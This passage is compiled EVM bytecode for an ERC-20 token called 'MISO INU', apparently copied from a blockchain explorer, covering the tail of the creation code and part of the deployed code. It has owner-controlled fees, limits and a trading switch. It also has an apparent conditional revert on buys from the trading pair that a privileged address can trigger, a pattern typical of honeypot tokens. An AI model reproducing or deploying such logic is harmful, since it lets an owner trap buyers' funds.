ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90612c0c565b60405180910390fd5b6001601360146101000a81548160ff021916908315150217905550565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fa361115d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102790612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109790612d9f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cc90612e31565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611245576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123c90612ec3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113239190612892565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612f55565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611410576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140790612fe7565b60405180910390fd5b60008111611453576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144a90613079565b60405180910390fd5b61145b610a31565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114c95750611499610a31565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561185e57601360149054906101000a900460ff16611558576114ea610a31565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611557576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154e9061310b565b60405180910390fd5b5b60145481111561159d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159490613177565b60405180910390fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461164a57601554816115ff84610808565b6116099190613197565b10611649576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116409061325f565b60405180910390fd5b5b600061165530610808565b905060006016548210159050600a6016546116709190612c5b565b821061168857600a6016546116859190612c5b565b91505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156116f557662386f26fc1000060155414156116f457600080fd5b5b80801561170f5750601360159054906101000a900460ff16155b80156117695750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156117815750601360169054906101000a900460ff165b80156117d75750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561182d5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561185b5761183b82611c9d565b600047905066b1a2bc2ec500008111156118595761185847611bc3565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119055750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806119b85750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156119b75750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156119c65760009050611b4d565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a715750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a8957600854600c81905550600954600d819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b345750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611b4c57600a54600c81905550600b54600d819055505b5b611b5984848484611f16565b50505050565b6000838311158290611ba7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9e91906126d3565b60405180910390fd5b5060008385611bb6919061327f565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c2b573d6000803e3d6000fd5b5050565b6000600654821115611c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6d90613325565b60405180910390fd5b6000611c80611f43565b9050611c958184611f6e90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611cd557611cd4613345565b5b604051908082528060200260200182016040528015611d035781602001602082028036833780820191505090505b5090503081600081518110611d1b57611d1a612cb5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611dc2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611de69190613389565b81600181518110611dfa57611df9612cb5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e6130601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611165565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ec59594939291906134af565b600060405180830381600087803b158015611edf57600080fd5b505af1158015611ef3573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b80611f2457611f23611fb8565b5b611f2f848484611ffb565b80611f3d57611f3c6121c6565b5b50505050565b6000806000611f506121da565b91509150611f678183611f6e90919063ffffffff16565b9250505090565b6000611fb083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612236565b905092915050565b6000600c54148015611fcc57506000600d54145b15611fd657611ff9565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061200d87612299565b95509550955095509550955061206b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061210085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061214c816123a9565b6121568483612466565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121b39190612892565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000662386f26fc10000905061220c662386f26fc10000600654611f6e90919063ffffffff16565b82101561222957600654662386f26fc10000935093505050612232565b81819350935050505b9091565b6000808311829061227d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227491906126d3565b60405180910390fd5b506000838561228c9190613538565b9050809150509392505050565b60008060008060008060008060006122b68a600c54600d546124a0565b92509250925060006122c6611f43565b905060008060006122d98e878787612536565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061234383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b5f565b905092915050565b600080828461235a9190613197565b90508381101561239f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612396906135b5565b60405180910390fd5b8091505092915050565b60006123b3611f43565b905060006123ca82846125bf90919063ffffffff16565b905061241e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61247b8260065461230190919063ffffffff16565b6006819055506124968160075461234b90919063ffffffff16565b6007819055505050565b6000806000806124cc60646124be888a6125bf90919063ffffffff16565b611f6e90919063ffffffff16565b905060006124f660646124e8888b6125bf90919063ffffffff16565b611f6e90919063ffffffff16565b9050600061251f82612511858c61230190919063ffffffff16565b61230190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061254f85896125bf90919063ffffffff16565b9050600061256686896125bf90919063ffffffff16565b9050600061257d87896125bf90919063ffffffff16565b905060006125a682612598858761230190919063ffffffff16565b61230190919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156125d25760009050612634565b600082846125e09190612c5b565b90508284826125ef9190613538565b1461262f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262690613647565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612674578082015181840152602081019050612659565b83811115612683576000848401525b50505050565b6000601f19601f8301169050919050565b60006126a58261263a565b6126af8185612645565b93506126bf818560208601612656565b6126c881612689565b840191505092915050565b600060208201905081810360008301526126ed818461269a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061272a826126ff565b9050919050565b61273a8161271f565b811461274557600080fd5b50565b60008135905061275781612731565b92915050565b6000819050919050565b6127708161275d565b811461277b57600080fd5b50565b60008135905061278d81612767565b92915050565b600080604083850312156127aa576127a96126f5565b5b60006127b885828601612748565b92505060206127c98582860161277e565b9150509250929050565b60008115159050919050565b6127e8816127d3565b82525050565b600060208201905061280360008301846127df565b92915050565b6000819050919050565b600061282e612829612824846126ff565b612809565b6126ff565b9050919050565b600061284082612813565b9050919050565b600061285282612835565b9050919050565b61286281612847565b82525050565b600060208201905061287d6000830184612859565b92915050565b61288c8161275d565b82525050565b60006020820190506128a76000830184612883565b92915050565b6000806000606084860312156128c6576128c56126f5565b5b60006128d486828701612748565b93505060206128e586828701612748565b92505060406128f68682870161277e565b9150509250925092565b600060ff82169050919050565b61291681612900565b82525050565b6000602082019050612931600083018461290d565b92915050565b6129408161271f565b82525050565b600060208201905061295b6000830184612937565b92915050565b61296a816127d3565b811461297557600080fd5b50565b60008135905061298781612961565b92915050565b6000602082840312156129a3576129a26126f5565b5b60006129b184828501612978565b91505092915050565b6000602082840312156129d0576129cf6126f5565b5b60006129de84828501612748565b91505092915050565b6000602082840312156129fd576129fc6126f5565b5b6000612a0b8482850161277e565b91505092915050565b60008060008060808587031215612a2e57612a2d6126f5565b5b6000612a3c8782880161277e565b9450506020612a4d8782880161277e565b9350506040612a5e8782880161277e565b9250506060612a6f8782880161277e565b91505092959194509250565b60008060408385031215612a9257612a916126f5565b5b6000612aa08582860161277e565b9250506020612ab18582860161277e565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f840112612ae057612adf612abb565b5b8235905067ffffffffffffffff811115612afd57612afc612ac0565b5b602083019150836020820283011115612b1957612b18612ac5565b5b9250929050565b600080600060408486031215612b3957612b386126f5565b5b600084013567ffffffffffffffff811115612b5757612b566126fa565b5b612b6386828701612aca565b93509350506020612b7686828701612978565b9150509250925092565b60008060408385031215612b9757612b966126f5565b5b6000612ba585828601612748565b9250506020612bb685828601612748565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612645565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c668261275d565b9150612c718361275d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612caa57612ca9612c2c565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612cef8261275d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d2257612d21612c2c565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612d89602683612645565b9150612d9482612d2d565b604082019050919050565b60006020820190508181036000830152612db881612d7c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612e1b602483612645565b9150612e2682612dbf565b604082019050919050565b60006020820190508181036000830152612e4a81612e0e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ead602283612645565b9150612eb882612e51565b604082019050919050565b60006020820190508181036000830152612edc81612ea0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612f3f602583612645565b9150612f4a82612ee3565b604082019050919050565b60006020820190508181036000830152612f6e81612f32565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612fd1602383612645565b9150612fdc82612f75565b604082019050919050565b6000602082019050818103600083015261300081612fc4565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613063602983612645565b915061306e82613007565b604082019050919050565b6000602082019050818103600083015261309281613056565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006130f5603f83612645565b915061310082613099565b604082019050919050565b60006020820190508181036000830152613124816130e8565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613161601c83612645565b915061316c8261312b565b602082019050919050565b6000602082019050818103600083015261319081613154565b9050919050565b60006131a28261275d565b91506131ad8361275d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e2576131e1612c2c565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613249602383612645565b9150613254826131ed565b604082019050919050565b600060208201905081810360008301526132788161323c565b9050919050565b600061328a8261275d565b91506132958361275d565b9250828210156132a8576132a7612c2c565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061330f602a83612645565b915061331a826132b3565b604082019050919050565b6000602082019050818103600083015261333e81613302565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061338381612731565b92915050565b60006020828403121561339f5761339e6126f5565b5b60006133ad84828501613374565b91505092915050565b6000819050919050565b60006133db6133d66133d1846133b6565b612809565b61275d565b9050919050565b6133eb816133c0565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6134268161271f565b82525050565b6000613438838361341d565b60208301905092915050565b6000602082019050919050565b600061345c826133f1565b61346681856133fc565b93506134718361340d565b8060005b838110156134a2578151613489888261342c565b975061349483613444565b925050600181019050613475565b5085935050505092915050565b600060a0820190506134c46000830188612883565b6134d160208301876133e2565b81810360408301526134e38186613451565b90506134f26060830185612937565b6134ff6080830184612883565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006135438261275d565b915061354e8361275d565b92508261355e5761355d613509565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061359f601b83612645565b91506135aa82613569565b602082019050919050565b600060208201905081810360008301526135ce81613592565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613631602183612645565b915061363c826135d5565b604082019050919050565b6000602082019050818103600083015261366081613624565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203ad6f5d4b9ef3c914f63f4871af16a14c40ec51535c46e158274ab5fb20b5c8a64736f6c634300080b0033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c8063751039fc116100d1578063a2a957bb1161008a578063c492f04611610064578063c492f04614610501578063c9567bf91461052a578063dd62ed3e14610541578063f2fde38b1461057e57610171565b8063a2a957bb14610472578063a9059cbb1461049b578063c4590d3f146104d857610171565b8063751039fc146103865780637d1db4a51461039d5780638da5cb5b146103c85780638f9a55c0146103f357806395d89b411461041e57806398a5c3151461044957610171565b8063313ce56711610123578063313ce5671461029c57806349bd5a5e146102c75780636d8aa8f8146102f25780636fc3eaec1461031b57806370a0823114610332578063715018a61461036f57610171565b806306fdde0314610176578063095ea7b3146101a15780631694505e146101de57806318160ddd1461020957806323b872dd146102345780632fd689e31461027157610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105a7565b60405161019891906126d3565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612793565b6105e4565b6040516101d591906127ee565b60405180910390f35b3480156101ea57600080fd5b506101f3610602565b6040516102009190612868565b60405180910390f35b34801561021557600080fd5b5061021e610628565b60405161022b9190612892565b60405180910390f35b34801561024057600080fd5b5061025b600480360381019061025691906128ad565b610637565b60405161026891906127ee565b60405180910390f35b34801561027d57600080fd5b50610286610710565b6040516102939190612892565b60405180910390f35b3480156102a857600080fd5b506102b1610716565b6040516102be919061291c565b60405180910390f35b3480156102d357600080fd5b506102dc61071f565b6040516102e99190612946565b60405180910390f35b3480156102fe57600080fd5b506103196004803603810190610314919061298d565b610745565b005b34801561032757600080fd5b506103306107f7565b005b34801561033e57600080fd5b50610359600480360381019061035491906129ba565b610808565b6040516103669190612892565b60405180910390f35b34801561037b57600080fd5b50610384610859565b005b34801561039257600080fd5b5061039b6109ac565b005b3480156103a957600080fd5b506103b2610a2b565b6040516103bf9190612892565b60405180910390f35b3480156103d457600080fd5b506103dd610a31565b6040516103ea9190612946565b60405180910390f35b3480156103ff57600080fd5b50610408610a5a565b6040516104159190612892565b60405180910390f35b34801561042a57600080fd5b50610433610a60565b60405161044091906126d3565b60405180910390f35b34801561045557600080fd5b50610470600480360381019061046b91906129e7565b610a9d565b005b34801561047e57600080fd5b5061049960048036038101906104949190612a14565b610b3c565b005b3480156104a757600080fd5b506104c260048036038101906104bd9190612793565b610c27565b6040516104cf91906127ee565b60405180910390f35b3480156104e457600080fd5b506104ff60048036038101906104fa9190612a7b565b610c45565b005b34801561050d57600080fd5b5061052860048036038101906105239190612b20565b610d28565b005b34801561053657600080fd5b5061053f610e62565b005b34801561054d57600080fd5b5061056860048036038101906105639190612b80565b610f14565b6040516105759190612892565b60405180910390f35b34801561058a57600080fd5b506105a560048036038101906105a091906129ba565b610f9b565b005b60606040518060400160405280600881526020017f4d49534f20494e55000000000000000000000000000000000000000000000000815250905090565b60006105f86105f161115d565b8484611165565b6001905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000662386f26fc10000905090565b6000610644848484611330565b6107058461065061115d565b6107008560405180606001604052806028815260200161366860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b661115d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5f9092919063ffffffff16565b611165565b600190509392505050565b60165481565b60006009905090565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61074d61115d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d190612c0c565b60405180910390fd5b80601360166101000a81548160ff02191690831515021790555050565b600047905061080581611bc3565b50565b6000610852600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2f565b9050919050565b61086161115d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e590612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ed61115d565b73ffffffffffffffffffffffffffffffffffffffff1614610a0d57600080fd5b662386f26fc10000601481905550662386f26fc10000601581905550565b60145481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60155481565b60606040518060400160405280600481526020017f4d49534f00000000000000000000000000000000000000000000000000000000815250905090565b610aa561115d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2990612c0c565b60405180910390fd5b8060168190555050565b610b4461115d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc890612c0c565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555060028410610bfa57600080fd5b60028310610c0757600080fd5b60058210610c1457600080fd5b60058110610c2157600080fd5b50505050565b6000610c3b610c3461115d565b8484611330565b6001905092915050565b610c4d61115d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd190612c0c565b60405180910390fd5b633b9aca0082610cea9190612c5b565b601481905550633b9aca0081610d009190612c5b565b60158190555062030d408211610d1557600080fd5b62030d408111610d2457600080fd5b5050565b610d3061115d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490612c0c565b60405180910390fd5b60005b83839050811015610e5c578160056000868685818110610de357610de2612cb5565b5b9050602002016020810190610df891906129ba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610e5490612ce4565b915050610dc0565b50505050565b610e6a61115d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90612c0c565b60405180910390fd5b6001601360146101000a81548160ff021916908315150217905550565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fa361115d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102790612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109790612d9f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cc90612e31565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611245576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123c90612ec3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113239190612892565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612f55565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611410576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140790612fe7565b60405180910390fd5b60008111611453576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144a90613079565b60405180910390fd5b61145b610a31565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114c95750611499610a31565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561185e57601360149054906101000a900460ff16611558576114ea610a31565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611557576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154e9061310b565b60405180910390fd5b5b60145481111561159d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159490613177565b60405180910390fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461164a57601554816115ff84610808565b6116099190613197565b10611649576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116409061325f565b60405180910390fd5b5b600061165530610808565b905060006016548210159050600a6016546116709190612c5b565b821061168857600a6016546116859190612c5b565b91505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156116f557662386f26fc1000060155414156116f457600080fd5b5b80801561170f5750601360159054906101000a900460ff16155b80156117695750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156117815750601360169054906101000a900460ff165b80156117d75750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561182d5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561185b5761183b82611c9d565b600047905066b1a2bc2ec500008111156118595761185847611bc3565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119055750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152